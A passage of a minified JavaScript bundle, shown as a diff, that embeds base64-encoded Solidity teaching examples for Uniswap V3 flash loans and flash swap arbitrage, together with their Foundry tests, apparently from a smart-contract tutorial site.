GllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],gb=`

                    Uniswap V3 Flash Loan Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6432,7 +6432,7 @@ IERC20 constant PAIR "DAI fee", fee);
     }
 }
-
                    `,Ib=({prev:s,next:a})=>r.jsx(A,{version:ob,title:rb,description:ib,html:hb,prev:s,next:a,codes:gb}),db="0.8.24",Cb="Uniswap V3 Flash Swap Arbitrage",jb="Uniswap V3 Flash Swap Arbitrage",Ab=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],ub=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    +`,hb=({prev:s,next:a})=>r.jsx(A,{version:tb,title:ob,description:rb,html:gb,prev:s,next:a,codes:ib}),Ib="0.8.24",db="Uniswap V3 Flash Swap Arbitrage",Cb="Uniswap V3 Flash Swap Arbitrage",jb=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQy